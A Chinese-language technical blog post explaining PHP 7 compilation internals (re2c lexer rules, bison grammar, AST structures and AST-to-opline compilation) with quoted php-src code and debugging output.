整个编译过程是整个PHP代码范围的从开始到结束,在PHP里面没有main函数一说,直接从头编译到尾,其实从到开始到结尾已经算是main函数的范围了,除了函数,类的定义以外。编译的结果是一条一条对应的opline集合。编译原理其实和大多数语言的编译器一样,都需要进行词法分析和语法分析。PHP开始阶段也是如此,在php7.0的版本中在这个两个步骤之后增加了一步生成AST语法树,目的是将PHP的编译过程和执行过程解耦。抽象语法树就处于了编译器和执行器的中间,如果只需要调整相关的语法规则,仅仅需要修改编译器生成抽象语法树的相关规则就行,抽象语法树生成的opline不变。相反你修改新的opcode但是语法规则并不变,只需要修改抽象语法树编译成opline的过程即可。

词法分析过程就是一个把PHP代码拆分的过程,按照定义好的token去匹配分割。词法分析就是将分割出来的token再按照语法规则重新组合到一起。PHP内词法分析和语法分析分别使用的是re2c和yacc来完成的。其实准确来说一个应该是re2c和bison。

在研究和探索这个方面的同学一定要注意,不要去细看经过re2c和bison预处理生成的.c文件。这部分都是自动生成,看起来其实有点费时费力也毫无意义。但是你可以对比起来看,最重要是明白re2c和yacc的语法,如果你想要了解这个过程真正做了什么。

re2c

首先从大的方向来看re2c就是一个用正则来分割token的东西,将我们的php代码分割一个个在php代码里面会用到的关键字或者是关键符号,如果你想快速的了解是如何分割token的,其实也不用去看re2c的处理过程。可直接用php 的内置函数token_get_all,通过传入指定的php代码,将会指定的token数组,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
var_dump(token_get_all('<?php print(1);'));

array(6) {
[0] =>
array(3) {
[0] =>
int(379)
[1] =>
string(6) "<?php "
[2] =>
int(1)
}
[1] =>
array(3) {
[0] =>
int(266)
[1] =>
string(5) "print"
[2] =>
int(1)
}
[2] =>
string(1) "("
[3] =>
array(3) {
[0] =>
int(317)
[1] =>
string(1) "1"
[2] =>
int(1)
}
[4] =>
string(1) ")"
[5] =>
string(1) ";"
}

可以看到是返回的token数组又是一个一个的数组单元,其中依次返回是token对应的整数值,token内容,行号。注意到其中有几个token ();并不是以数组返回的,而是是直接返回的内容,这里是因为;:,.\[\]()|^&+-/*=%!~$<>?@这样简单的单字符都是以原字符返回。如果想要得到token的标识符名称,可以通过token_name内置函数来转换。如果有同学知道php-parser的话,其实php-parser中的lexer也是应用这两个内置函数,php-parser是一个很不错的工具,可以解决绝大部分在php层面上的混淆,后面会简单的介绍一下。

具体去看看用re2c写的语法,其实你会发现其实可以解决很多在你心中的困惑,php里面对应的lexer函数是lex_scan,re2c核心的语法也在其中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* php-src/Zend/zend_language_scanner.l lex_scan() */
/*!re2c
re2c:yyfill:check = 0;
LNUM [0-9]+
DNUM ([0-9]*"."[0-9]+)|([0-9]+"."[0-9]*)
EXPONENT_DNUM (({LNUM}|{DNUM})[eE][+-]?{LNUM})
HNUM "0x"[0-9a-fA-F]+
BNUM "0b"[01]+
LABEL [a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*
WHITESPACE [ \n\r\t]+
TABS_AND_SPACES [ \t]*
TOKENS [;:,.\[\]()|^&+-/*=%!~$<>?@]
ANY_CHAR [^]
NEWLINE ("\r"|"\n"|"\r\n")
...
*/

在这里我挑几处有意思的语法讲一讲,re2c并不是一个全自动的词法分析器,用户需要给它提供一些接口,这里的yyfill就是一个动态填充输入值的接口,在这里表示不需要在分割的过程中动态分配输入值,即不要考虑在扫描的过程中填充用来继续被分割的值,因为在获取文件内容的时候,是一次性把文件的全部内容映射到了内存中。有兴趣的同学可以去看一看open_file_for_scanning()中的具体实现过程。

re2c语法看起来是不是和正则特别像,其实就是正则,只不过是通过C中goto 和 switch 或者if语法组合起来呈现。从定义的字面类型来看,整形,浮点型,指数表示,十六进制,二进制等这些都是php可能会用到的数据类型,其中定义了LABEL类型,可能有些同学就不知道这是用来表示什么的,其实这就是php里面变量名的定义,除了不能用数字开头以外,你会发现php变量名竟然也可以用[\x80-\xff]这些ascii里面的扩展字符来定义变量名,其实这个东西已经应用到了一些php的变量名混淆上,你有时候可能会发现有些变量名根本不可读,可能就采用扩展字符来重新定义。细心的你可能会发现,在上面一行定义16进制和2进制这些转义类型的时候,用的是双引号,用双引号括起来的字符串,在re2c的语法里面表示是对大小写敏感,为什么这里是双引号呢?在php里面0Xff这样表示也是可以的,这就涉及到re2c预处理时候的传参了,关于re2c和bison在使用过程中指定的参数可以在/php-src/Zend/Makefile.fragments找到。里面re2c的参数选项里面多了一个--case-inverted大小写敏感的翻转,即现在是双引号表示对大小写不敏感。在后面也可看到是php对关键字的大小写都是不敏感的。

接着后面就是一个规则对应一个处理过程,一般的处理过程就是匹配规则,返回对应的token标识符。有一些会做特殊处理例如双引号单引号等这些包裹字符串的字符可能不会返回单字符,可能会接着扫描至完整的字符串,返回常量的token标志。可能有同学不理解每一个规则之前都有一部分用<>包裹的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<INITIAL>"<?php"([ \t]|{NEWLINE}) {
HANDLE_NEWLINE(yytext[yyleng-1]);
BEGIN(ST_IN_SCRIPTING);
if (PARSER_MODE()) {
SKIP_TOKEN(T_OPEN_TAG);
}
RETURN_TOKEN(T_OPEN_TAG);
}

<ST_IN_SCRIPTING>"function" {
RETURN_TOKEN(T_FUNCTION);
}

这一部分表示lexer 当前状态,开始是<INITIAL>初始化状态,需要找到php代码的起始符,接着进入<ST_IN_SCRIPTING>状态,才会接着去扫描php代码内的token,相当于一种lexer的嵌套。lex_scan有两种返回方式,token的标识符会通过lex_token函数值返回。一些token仅需要返回token标识符就就够了,有一些需要返回token对应的具体的内容,内容的返回值是以抽象语法数的节点类型返回,通过在调用lex_scan时传递的elem参数,elem是个union结构

1
2
3
4
5
6
typedef union _zend_parser_stack_elem {
zend_ast *ast;
zend_string *str;
zend_ulong num;
} zend_parser_stack_elem;

把分割出来的token放到后面语法分析用来存储token的栈中,这个类型在yyac匹配语法时的指定为YYSTYPE,在匹配语法会根据定义的%type,转化为指定zend_parser_stack_elem中的一种类型。到此re2c也再无神秘之处,理一下大概可分为,正则规则对应处理过程,在处理的过程中一定会返回token,可能会切换lexer的状态或者返回具体的token内容。其中还有一个SCNG宏,是对定义的scanner_global全局变量的取值操作。这个变量结构如下包含了lexer当前处理的指针位置,状态,结束指针,记录的最后一次token位置等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct _zend_php_scanner_globals {
zend_file_handle *yy_in;
zend_file_handle *yy_out;

unsigned int yy_leng;
unsigned char *yy_start;
unsigned char *yy_text;
unsigned char *yy_cursor;
unsigned char *yy_marker;
unsigned char *yy_limit;
int yy_state;
zend_stack state_stack;
zend_ptr_stack heredoc_label_stack;
zend_bool heredoc_scan_ahead;
int heredoc_indentation;
zend_bool heredoc_indentation_uses_spaces;

/* original (unfiltered) script */
unsigned char *script_org;
size_t script_org_size;

/* filtered script */
unsigned char *script_filtered;
size_t script_filtered_size;

/* input/output filters */
zend_encoding_filter input_filter;
zend_encoding_filter output_filter;
const zend_encoding *script_encoding;

/* initial string length after scanning to first variable */
int scanned_string_len;

/* hooks */
void (*on_event)(zend_php_scanner_event event, int token, int line, void *context);
void *on_event_context;
};

yacc && bison

接下来就是yacc语法分析器,yacc对应的功能函数在php里面为zendparse(),这个函数其实预处理自动生成的,在这个函数通过不断的调用lex_scan返回token,根据定义的语法规则动态的生成抽象语法数,挑出一些有代表性的yacc语法规则来描述一下

1
2
3
4
5
6
7
8
%left '|'
%left '^'
%left '&'
%nonassoc T_IS_EQUAL T_IS_NOT_EQUAL T_IS_IDENTICAL T_IS_NOT_IDENTICAL T_SPACESHIP
%nonassoc '<' T_IS_SMALLER_OR_EQUAL '>' T_IS_GREATER_OR_EQUAL
%left T_SL T_SR
%left '+' '-' '.'
%left '*' '/' '%'

这里定义的是运算符类的token的优先级和结合性。后定义的优先级要高,在同行定义的优先级相同,结合性就看是%left还是%right,%left代表从左到右,同理%right反之,其实结合性就相当于同级之间的优先级。这些都会在yacc状态机里面体现出来。

1
2
3
4
5
6
7
8
9
%token <ast> T_LNUMBER   "integer number (T_LNUMBER)"
%token <ast> T_DNUMBER "floating-point number (T_DNUMBER)"
%token <ast> T_STRING "identifier (T_STRING)"
%token <ast> T_VARIABLE "variable (T_VARIABLE)"
%token <ast> T_INLINE_HTML
%token <ast> T_ENCAPSED_AND_WHITESPACE "quoted-string and whitespace (T_ENCAPSED_AND_WHITESPACE)"
%token <ast> T_CONSTANT_ENCAPSED_STRING "quoted-string (T_CONSTANT_ENCAPSED_STRING)"
%token <ast> T_STRING_VARNAME "variable name (T_STRING_VARNAME)"
%token <ast> T_NUM_STRING "number (T_NUM_STRING)"

%token开头定义的表示语法规则里面会用到的token,也是语法规则的终结符。其中<ast> 表示在使用token时候会进行类型的转换,所有的token类型定义在YYSTYPE中,这个结构前面也说过了是一个联合体,在yacc自动的生成yyparse函数下,获取的token对应的内容会保留在yylval中,所以在使用的时候,会进行yylval.ast类似的操作。

1
2
3
4
5
6
7
8
9
10
11
12
%type <ast> top_statement namespace_name name statement function_declaration_statement
%type <ast> class_declaration_statement trait_declaration_statement
%type <ast> interface_declaration_statement interface_extends_list
%% /* Rules */
start:
top_statement_list { CG(ast) = $1; }
;

top_statement_list:
top_statement_list top_statement { $$ = zend_ast_list_add($1, $2); }
| /* empty */ { $$ = zend_ast_create_list(0, ZEND_AST_STMT_LIST); }
;

%type定义就是非终结符,非终结字符常常是自己和token组合在一起的递归嵌套符。同样它也有类型的定义<ast>。后面就是描述非终结字符是如何嵌套的,有一个特殊的start节点,yacc在开始扫描语法的规则的时候只关注它,相当于入口点。可以看到起始是以top_statement_list标识符,它是可以为空的,所以每次语法扫描的第一步就是CG(ast) = zend_ast_create_list(0, ZEND_AST_STMT_LIST),建立一个根节点,但是这个根节点也不做。如果你真的想看看yacc内部扫描语法的,不要去看经过bison预处理之后的.c文件,同级目录下有一个.output后缀相同文件名的文件,里面描述了yacc里面的状态机是如何工作的。可能还是有点看不懂,重新拿bison处理一遍,把trace打开,再重新把php编译一遍,再用php运行代码的过程中就会输出状态机的状态和转移。

1
bison -p zend -v -d -t $(srcdir)/zend_language_parser.y -o zend_language_parser.c

最好用bison的版本和你在看php版本使用的相同,在zend_language_parser.c中开头会显示bison的版本,翻译完成替换原来的zend_language_parser.czend_language_parser.h,这个时候需要再处理一下,再加点东西,在输出debug过程中,它不会自己输出相对于的token的值,因为前面说道过了token的值类型是zend_parser_stack_elem,是我们自定义的,同样如果我们想要打印token具体的值,需要自己提供接口,yacc也一个宏YYPRINT,在这里可以不用为它这个宏提供个函数。如果你只想看每次从lex_scan拿来的token对应的内容是什么,可以这样写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void
yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
YYFPRINTF (yyoutput, "%s %s (",
yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]);
char *ztext = LANG_SCNG(yy_text); //+
unsigned int zlen = LANG_SCNG(yy_leng);//+
unsigned int i = 0;//+
for(i;i<zlen;i++){//+
php_printf("%c",*(ztext+i));//+
}+
//yy_symbol_value_print (yyoutput, yytype, yyvaluep);//-
YYFPRINTF (yyoutput, ")");
}

添加里面其中一段代码就行,把yy_symbol_value_print注释掉,这是在用bison预处理之后在zend_language_parser.c里面添加的哦。你会发现这样做,不仅不仅在从lex_scan拿到token会用到这个函数,后面语法规则匹配以后也会用这个函数来输出匹配字符的token值,这样会导致一直输出同样的token值,直到下次再次从lex_scan中拿到新token值。再稍微改一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void
yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
FILE *yyo = yyoutput;
YYUSE (yyo);
if (!yyvaluep)
return;
# ifdef YYPRINT
if (yytype < YYNTOKENS){
zval sym;
sym =((zend_ast_zval *)(yyvaluep->ast))->val;
switch(yytoknum[yytype]){
case 317:
php_printf("%d",sym.value.lval);
break;
case 325:
if (sym.u1.v.type==IS_LONG){
php_printf("%d",sym.value.lval);
break;
}
case 321:
case 323:
for(int i=0;i<(sym.value.str)->len;i++){
php_printf("%c",*(((sym.value.str)->val)+i));
}
break;
case 318:
php_printf("%d",sym.value.dval);
break;
default:
php_printf("%d",yytoknum[yytype]);
}
}
# endif
YYUSE (yytype);
}

注意这次改的地方是yy_symbol_value_print,记得要在前面在简单定义一下YYPRINT这个宏,因为需要yytoken这个映射表,这里根据映射表返回的token数字量,token的数字量在zend_language_parser.h定义,判断token类型,可以看到带返回值的token其实也只有三种,IS_SRTING,IS_LONG,IS_DOUBLE。字符串类型上出现了3个不一样的token,323就是字符串常量,321也好理解内联的php标签外的html字符串。这个325处T_NUM_STRING有点意思,我这地方发现了php一个一直存在的语法错误?可以看到其实这个token的返回值zval有两种不同的类型整形和字符串。具体的我们去看看re2c是怎么匹配返回这个token的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<ST_VAR_OFFSET>[0]|([1-9][0-9]*) { /* Offset could be treated as a long */
if (yyleng < MAX_LENGTH_OF_LONG - 1 || (yyleng == MAX_LENGTH_OF_LONG - 1 && strcmp(yytext, long_min_digits) < 0)) {
char *end;
errno = 0;
ZVAL_LONG(zendlval, ZEND_STRTOL(yytext, &end, 10));
if (errno == ERANGE) {
goto string;
}
ZEND_ASSERT(end == yytext + yyleng);
} else {
string:
ZVAL_STRINGL(zendlval, yytext, yyleng);
}
RETURN_TOKEN_WITH_VAL(T_NUM_STRING);
}


<ST_VAR_OFFSET>{LNUM}|{HNUM}|{BNUM} { /* Offset must be treated as a string */
if (yyleng == 1) {
ZVAL_INTERNED_STR(zendlval, ZSTR_CHAR((zend_uchar)*(yytext)));
} else {
ZVAL_STRINGL(zendlval, yytext, yyleng);
}
RETURN_TOKEN_WITH_VAL(T_NUM_STRING);
}

<ST_DOUBLE_QUOTES,ST_HEREDOC,ST_BACKQUOTE>"$"{LABEL}"[" {
yyless(yyleng - 1);
yy_push_state(ST_VAR_OFFSET);
RETURN_TOKEN_WITH_STR(T_VARIABLE, 1);
}

可以看到匹配返回这个token必须得在"$a[offset]"得在这种类似的情况才行,而且得在双引号或者<<<或者反引号的包裹下,就是能进行字符串转义。在匹配offset内容的时候,第一条规则是匹配10进制的纯数字,第二条规则是匹配00x0b这样开头不同进制的数字类型。这样看来是比较合理的,在offset的选择上是支持不同进制的,但是在处理上确是不一样的。例如我下面的PHP代码

1
2
3
<?php
$a="123456";
echo "$a[0x2]";

在语法上是通过的,但是出现结果确是不一样的。对应的opcode为FETCH_DIM_R !0 , '0x2',操作数1是CV变量,操作数为CONST字面量,找到相应的hanlder

1
ZEND_FETCH_DIM_R_SPEC_CV_CONST_HANDLER()

这里我不再累赘,只看最后的处理,具体的调用栈如下

1
2
3
4
5
6
7
8
9
10
#0  is_numeric_string (str=0x7ffff5402b58 "0x2", length=0x3, lval=0x0, dval=0x0, allow_errors=0xffffffff) at /root/php-src/Zend/zend_operators.h:142
#1 0x0000555555b99d9b in zend_fetch_dimension_address_read (result=0x7ffff541f090, container=0x7ffff541f070, dim=0x7ffff54824b0, dim_type=0x8, type=0x0, support_strings=0x1, slow=0x1) at /root/php-src/Zend/zend_execute.c:1882
#2 0x0000555555b9a285 in zend_fetch_dimension_address_read_R_slow (container=0x7ffff541f070, dim=0x7ffff54824b0) at /root/php-src/Zend/zend_execute.c:1971
#3 0x0000555555bede6a in ZEND_FETCH_DIM_R_SPEC_CV_CONST_HANDLER () at /root/php-src/Zend/zend_vm_execute.h:39187
#4 0x0000555555c0a694 in execute_ex (ex=0x7ffff541f020) at /root/php-src/Zend/zend_vm_execute.h:59035
#5 0x0000555555c0b971 in zend_execute (op_array=0x7ffff5482300, return_value=0x0) at /root/php-src/Zend/zend_vm_execute.h:60223
#6 0x0000555555b3a65d in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /root/php-src/Zend/zend.c:1608
#7 0x0000555555aaa5a7 in php_execute_script (primary_file=0x7fffffffdd80) at /root/php-src/main/main.c:2643
#8 0x0000555555c0e3f9 in do_cli (argc=0x2, argv=0x55555654b060) at /root/php-src/sapi/cli/php_cli.c:997
#9 0x0000555555c0f379 in main (argc=0x2, argv=0x55555654b060) at /root/php-src/sapi/cli/php_cli.c:1390

最后是用is_numeric_string处理的我们的0x2偏移量,这个过程竟然只是一个php内部弱类型转换,从字符串到数值的类型转换,也就是说并不会对除10进制以外的数字变量进行转换。其他进制的数字串永远置零,那在语法上为什么还要匹配呢? php内部是有一个zend_strtod,却并没有在此处使用,明显的handler没有与语法对应上。php7.0在此处会给出警告,5.x版本不会给警告,但是结果依然都是错的。。。

上面相当于一个小插曲。yacc和re2c的介绍到这里也差不多了,也应该可以上手改一改语法了吧,在这里再讲一个有趣的语法结构print,我不知道有多少人看过鸟哥博客那段

1
print(1) && print(2) && print(3) && print(4);

在不运行之前,你是否知道它的结果?你可以先不看下面的解答,先自己想想为什么会这样?

其实这个问题需要在语法分析这个阶段来看,可以先去yacc里面关于print的语法结构。

1
expr : T_PRINT expr { $$ = zend_ast_create(ZEND_AST_PRINT, $2); }

可以看到T_PRINT 是在expr递归的语法里面的,T_PRINT左边是expr,无论多么复杂最后都会递归成最后一个expr,并且T_BOOLEAN_AND (&&)优先级 大于 T_PRINT,且T_BOOLEAN_AND (&&)结合性是从左到右。

1
2
3
4
5
6
7
8
9
10
11
停止递归的点
expr1 : print (4) // expr:T_PRINT expr:scalar
expr2 : 3 && expr1 // expr: expr '&&' expr
expr3 : print expr2 // expr:T_PRINT expr
expr4 : 2 && expr2 // expr:expr '&&' expr
expr5 :print expr4 // expr:T_PRINT expr
expr6 : 1 && expr5 // expr:expr '&&' expr
expr7 : print expr6 //expr: T_PRINT expr
statement1 : expr7 ; // statement: expr ';'
top_statement1: statement1 // op_statement : statement
top_statement_list: top_statement_list top_statement1 // zend_ast_list_add($1, $2);

简单的写了一遍yacc状态机走的过程,现在看起来应该再清晰不过了吧。print这个语法结构应该是最像function的一个结构。如果有兴趣也可以去分析分析echoinclude 这些语法结构。

yacc和re2c到这里真的就结束了。抽象语法树其实是和它们耦合在一起的,虽然把编译器和执行器隔开了。re2c在返回的token对应的值的时候,就是以抽象语法树节点返回的。再通过yacc语法分析进一步建立完整的抽象语法树。

0X03 抽象语法树AST

通用的普通节点为:

1
2
3
4
5
6
struct _zend_ast {
zend_ast_kind kind; /* 节点类型*/
zend_ast_attr attr; /* 附加属性 */
uint32_t lineno; /* 行号 */
zend_ast *child[1]; /* 子节点 */
};

注意这个的child[1],并不是表示是一个节点,类似于zval_string里面的val[1],节点地址连续分配在zend_ast结构末尾。根据 kind 类型转换为其他类型节点,具体的类型和对应的结构在/Zend/zend_ast.h里面定义。常用的下面两个节点类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _zend_ast_list {
zend_ast_kind kind;
zend_ast_attr attr;
uint32_t lineno;
uint32_t children; /*子节点数*/
zend_ast *child[1];
} zend_ast_list;

/* Lineno is stored in val.u2.lineno */
typedef struct _zend_ast_zval {
zend_ast_kind kind;
zend_ast_attr attr;
zval val; /*节点zval值*/
} zend_ast_zval;

抽象语法的节点类型,也没什么特别的。前面也说提到过整个抽象语法树根节点zend_ast_stmt_list定义在CG(ast),中,CG是个访问编译全局变量的宏。有的同学可能会想看看既然是抽象语法树,肯定想看一看它在视图上是怎么呈现的,有办法。这里分享一个将php-parser处理过得到的抽象语法树可视化的东西。 https://github.com/ircmaxell/php-ast-visualizer 原本想自己写个扩展来动态显示抽象语法树,意外看到这个工具其实也没什么必要了。抽象语法数的建立是php静态分析里面重要的一环。

0x04 抽象语法树2Oplines

接下来就是如何将抽象语法数如何编译成我们期待已久的opline。这也是解释型语言和静态编译型语言不同的一点,编译出来的不是汇编语言,而是ZendVM可以识别的中间指令。前面也简单解释了一遍opline,一条opline和汇编语言类似,指令标识符opcode,操作数1和操作2。 编译抽象语法树发生在yacc的 zendparse()结束之后,同样在zend_compile里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (!zendparse()) {
int last_lineno = CG(zend_lineno);
zend_file_context original_file_context;
zend_oparray_context original_oparray_context;
zend_op_array *original_active_op_array = CG(active_op_array);

op_array = emalloc(sizeof(zend_op_array)); //内存分配
init_op_array(op_array, type, INITIAL_OP_ARRAY_SIZE);
CG(active_op_array) = op_array;

/* Use heap to not waste arena memory */
op_array->fn_flags |= ZEND_ACC_HEAP_RT_CACHE;
if (zend_ast_process) {
zend_ast_process(CG(ast));
}
zend_file_context_begin(&original_file_context);
zend_oparray_context_begin(&original_oparray_context);
zend_compile_top_stmt(CG(ast));
CG(zend_lineno) = last_lineno;
zend_emit_final_return(type == ZEND_USER_FUNCTION);
op_array->line_start = 1;
op_array->line_end = last_lineno;
pass_two(op_array);
zend_oparray_context_end(&original_oparray_context);
zend_file_context_end(&original_file_context);

CG(active_op_array) = original_active_op_array;
}

开始正常的流程的,给op_array 分配内存,初始化,让CG(active_op_array)指向当前的op_array,zend_ast_process是个扩展的hook点,如果你想要对抽象语法树做一些自定义的东西,比如我先前把ast输出,就可以在此处做文章。

最主要的还是来看看是如何遍历抽象语法节点一步一步来编译成opcode,进入zend_compile_top_stmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void zend_compile_top_stmt(zend_ast *ast) /* {{{ */
{
if (!ast) {
return;
}

if (ast->kind == ZEND_AST_STMT_LIST) {
zend_ast_list *list = zend_ast_get_list(ast);
uint32_t i;
for (i = 0; i < list->children; ++i) {
zend_compile_top_stmt(list->child[i]);
}
return;
}
...

判断节点如果为ZEND_AST_STMT_LIST,则再递归编译子节点,前面说过ZEND_AST_STMT_LIST是一种什么也不做的列表节点,主要就是起到连接的作用,整个抽象语法树的根节点也是这个类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (ast->kind == ZEND_AST_FUNC_DECL) {  //函数
CG(zend_lineno) = ast->lineno;
zend_compile_func_decl(NULL, ast, 1);
CG(zend_lineno) = ((zend_ast_decl *) ast)->end_lineno;
} else if (ast->kind == ZEND_AST_CLASS) { //类
CG(zend_lineno) = ast->lineno;
zend_compile_class_decl(ast, 1);
CG(zend_lineno) = ((zend_ast_decl *) ast)->end_lineno;
} else {
zend_compile_stmt(ast);
}
if (ast->kind != ZEND_AST_NAMESPACE && ast->kind != ZEND_AST_HALT_COMPILER) {
zend_verify_namespace();
}
...

三种处理方式,函数定义节点,类的定义节点,其他节点。这里我们先不深究函数和类的定义节点编译,先来看其他节点的编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void zend_compile_stmt(zend_ast *ast) /* {{{ */
{
if (!ast) {
return;
}

CG(zend_lineno) = ast->lineno;

if ((CG(compiler_options) & ZEND_COMPILE_EXTENDED_INFO) && !zend_is_unticked_stmt(ast)) {
zend_do_extended_info();
}
switch (ast->kind) {//类型选择
case ZEND_AST_STMT_LIST:
zend_compile_stmt_list(ast);
break;
case ZEND_AST_GLOBAL:
zend_compile_global_var(ast);
break;f
case ZEND_AST_STATIC:
zend_compile_static_var(ast);
break;
case ZEND_AST_UNSET:
zend_compile_unset(ast);
break;
case ZEND_AST_RETURN:
zend_compile_return(ast);
break;
case ZEND_AST_ECHO:
zend_compile_echo(ast);
...

再根据节点类型,再进行不同的编译方法,关于switch语句里面的选择项,可以看看去语法分析中top_statement结构里面包含的类型,在这里其实一一对应的。这里有很多编译分支,不能一一讲到,这里分析一下ZEND_AST_ECHO节点的编译。

1
2
3
4
5
6
7
8
9
10
11
void zend_compile_echo(zend_ast *ast) /* {{{ */
{
zend_op *opline;
zend_ast *expr_ast = ast->child[0];

znode expr_node;
zend_compile_expr(&expr_node, expr_ast);

opline = zend_emit_op(NULL, ZEND_ECHO, &expr_node, NULL);
opline->extended_value = 0;
}

再分析之前,先要熟悉echo的语法结构,心里要有个大概的echo结构的分支走向。

1
2
3
4
5
6
7
T_ECHO echo_expr_list ';' { $$ = $2}
echo_expr_list:
echo_expr_list ',' echo_expr { $$ = zend_ast_list_add($1, $3); }
| echo_expr { $$ = zend_ast_create_list(1, ZEND_AST_STMT_LIST, $1); }
echo_expr:
expr { $$ = zend_ast_create(ZEND_AST_ECHO, $1); }
;

比如echo 1 , 2 会在语法分析就会给它分开,分成T_ECHO 1T_ECHO 2都在同一个ZEND_AST_STMT_LIST同一个节点下,所以在编译处理echo语法的时候,echo后面都只有一个表达式。即需要去编译这个表达式成为ZEND_ECHO 的第一个操作数。这里需要说一下,znode 这个类型并不是opline里面定义操作数会用到的类型,只是在编译阶段会用到,最后被会转换到定义opline的zend_op结构中相对应操作数的字段。

再看一看编译表达式expr的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void zend_compile_expr(znode *result, zend_ast *ast) /* {{{ */
{
/* CG(zend_lineno) = ast->lineno; */
CG(zend_lineno) = zend_ast_get_lineno(ast);
switch (ast->kind) {
case ZEND_AST_ZVAL:
ZVAL_COPY(&result->u.constant, zend_ast_get_zval(ast));
result->op_type = IS_CONST;
return;
case ZEND_AST_ZNODE:
*result = *zend_ast_get_znode(ast);
return;
case ZEND_AST_VAR:
case ZEND_AST_DIM:
case ZEND_AST_PROP:
case ZEND_AST_STATIC_PROP:
case ZEND_AST_CALL:
case ZEND_AST_METHOD_CALL:
case ZEND_AST_STATIC_CALL:
zend_compile_var(result, ast, BP_VAR_R);
return;
case ZEND_AST_ASSIGN:
zend_compile_assign(result, ast);
return;
case ZEND_AST_ASSIGN_REF:
zend_compile_assign_ref(result, ast);

在通过遍历expr下的子节点最后会返回一个最终的expr,这个expr可能最终是个常量,也可能是经过复杂运算之后的临时变量。比如switch 第一个case 这里取的就是比如包含单引号包裹的字符串,整形,浮点型这些简单常量的zval_ast_zval节点,然后把常量对应的zval赋值给znode.u.constant,如何定义该操作数为常量类型。再来看一个比如expr是 $a //ZEND_AST_VAR这样php变量的编译过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void zend_compile_var(znode *result, zend_ast *ast, uint32_t type) /* {{{ */
{
CG(zend_lineno) = zend_ast_get_lineno(ast);
switch (ast->kind) {
case ZEND_AST_VAR:
zend_compile_simple_var(result, ast, type, 0);
return;
case ZEND_AST_DIM:
...
}

static void zend_compile_simple_var(znode *result, zend_ast *ast, uint32_t type, int delayed) /* {{{ */
{
if (is_this_fetch(ast)) {
zend_op *opline = zend_emit_op(result, ZEND_FETCH_THIS, NULL, NULL);
if ((type == BP_VAR_R) || (type == BP_VAR_IS)) {
opline->result_type = IS_TMP_VAR;
result->op_type = IS_TMP_VAR;
}
} else if (zend_try_compile_cv(result, ast) == FAILURE) {
zend_compile_simple_var_no_cv(result, ast, type, delayed);
}
}

is_this_fetch是用来判断是不是特殊变量this,这不是我们要走的分支,php的变量应该为CV变量。看第一个函数zend_try_compile_cv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int zend_try_compile_cv(znode *result, zend_ast *ast) /* {{{ */
{
zend_ast *name_ast = ast->child[0];
if (name_ast->kind == ZEND_AST_ZVAL) {
zval *zv = zend_ast_get_zval(name_ast);
zend_string *name;

if (EXPECTED(Z_TYPE_P(zv) == IS_STRING)) {
name = zval_make_interned_string(zv);
} else {
name = zend_new_interned_string(zval_get_string_func(zv));
}

if (zend_is_auto_global(name)) {
return FAILURE;
}

result->op_type = IS_CV;
result->u.op.var = lookup_cv(CG(active_op_array), name);

判断是不是ZEND_AST_ZVAL节点,然后取节点中的CV变量名,判断是不是auto_global变量,如果是直接返回。接着进入CV变量的逻辑,操作类型指定为IS_CV。前面已经介绍过了操作数的值是按偏移量来存储的。CV变量名依次储存在zend_op_array中的vars数组中,lookup_cv的作用就是遍历vars数组,并根据该CV变量名出现在vars数组中的位置,计算返回偏移量。如果改CV变量名并不在vars中,就会添加到其中。vars数组中是不存在重复的CV变量名的。列如改CV变量名出现在var[0],则其偏移值地址为(sizeof(zend_execute_data)+15)/16*16+0*16,在这里为80,前面说了本文zend_execute_data大小为72。并通过zend_execute_data->last_var 记录CV变量的个数。所以在这里CV操作数的偏移地址按照80,96,112...来递增。

关于操作数类型的编译。上面讲了CV类型操作数的编译过程,同时还有CONST字面量类型,这里需要注意的是,这里CONST常量的存储并不是指像C语言那样在编译过程把源代码中的显式常量都存储在同一个常量段里。举个例子:

1
2
<?php
echo "hello"."maple";

在这里有的同学会认为这里op_array->last_literal == 3, echo语句里面"hello","maple",还包括在编译过程中会自动添加的opline RETURN 1中的这个1,其实我刚开始的时候也有这样的困惑。在这里你需要先想一想CONST类型的操作数个数是在哪增长的?

1
2
3
4
5
6
#define SET_NODE(target, src) do { \
target ## _type = (src)->op_type; \
if ((src)->op_type == IS_CONST) { \
target.constant = zend_add_literal(CG(active_op_array), &(src)->u.constant); \
}
...

在SET_NODE这个宏里判断操作数类型是不是CONST类型,与此同时决定是否将其添加到op_array->literals常量数组里面,其实这里就是将编译过程的中间量 znode内容转换到zend_op里面,然后将这条zend_op 添加到 op_array->opcodes数组里面。所以在这里你可以认为在最终确定形成一条opline的时候,才会去判断操作数是不是CONST类型,并将其添加到字面量数组。在这里其实只有2条opline,并没有一条用来连接字符串的opline。

1
2
ECHO    'hellomaple'
RETURN 1

